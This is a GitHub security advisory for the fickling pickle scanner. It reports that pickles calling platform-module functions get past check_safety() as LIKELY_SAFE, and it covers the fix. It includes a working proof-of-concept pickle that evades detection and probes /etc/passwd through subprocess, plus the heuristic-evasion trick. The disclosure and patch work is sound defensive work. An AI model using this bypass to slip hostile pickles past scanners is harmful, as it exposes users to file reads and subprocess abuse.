GHSA-5cxw-w2xg-2m8h: fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
Our assessment We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975). It was not possible to inject extra arguments to file without first monkey-patching platform.followsymlinks with the pickle, as it always returns an absolute path.
Published Mar 13, 2026
Affected packages
fickling
- Ecosystem
- PyPI
- Affected
- <= 0.1.9
- Fixed in
- 0.1.10
- Check
pip show fickling
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Our assessment
We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975).
It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.
https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695
target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
# -b: do not prepend filenames to output lines (brief mode)
output = subprocess.check_output(['file', '-b', target],
stderr=subprocess.DEVNULL,
env=env)Original report
Summary
A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.
Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.
Affected versions
<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)
Non-duplication check against published Fickling GHSAs
No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.
Root cause
platformnot inUNSAFE_IMPORTSdenylist.OvertlyBadEvalsskips calls imported from stdlib modules.UnusedVariablesheuristic neutralized by making call result appear used (SETITEMSpath).
Reproduction (clean upstream)
from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety
pickled = Pickled([
op.Proto.create(4),
op.ShortBinUnicode('platform'),
op.ShortBinUnicode('_syscmd_file'),
op.StackGlobal(),
op.ShortBinUnicode('/etc/passwd'),
op.TupleOne(),
op.Reduce(),
op.Memoize(),
op.EmptyDict(),
op.ShortBinUnicode('init'),
op.ShortBinUnicode('x'),
op.SetItem(),
op.Mark(),
op.ShortBinUnicode('trace'),
op.BinGet(0),
op.SetItems(),
op.Stop(),
])
results = check_safety(pickled)
print(results.severity.name, len(results.results)) # LIKELY_SAFE 0
with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
fickling.loads(pickled.dumps())
print('subprocess called?', mock_sub.called) # True
print('args:', mock_sub.call_args[0]) # (['file', '-b', '/etc/passwd'],)Additional affected functions (same pattern):
platform.architecture('/etc/passwd')— calls_syscmd_fileinternallyplatform.libc_ver('/etc/passwd')— opens and reads arbitrary file contents
Minimal patch diff
--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+ "platform",Validation after patch
- Same PoC flips to
LIKELY_OVERTLY_MALICIOUS fickling.loadsraisesUnsafeFileErrorsubprocess.check_outputis not called
Impact
- False-negative verdict:
check_safety()returnsLIKELY_SAFEwith zero findings for a pickle that invokes a subprocess with attacker-controlled arguments. - Subprocess invocation:
platform._syscmd_filecallssubprocess.check_output(['file', '-b', target])wheretargetis attacker-controlled. Thefilecommand reads file headers and returns type information, enabling file existence and type probing. - File read:
platform.libc_veropens and reads chunks of an attacker-specified file path.
Credited to mldangelo.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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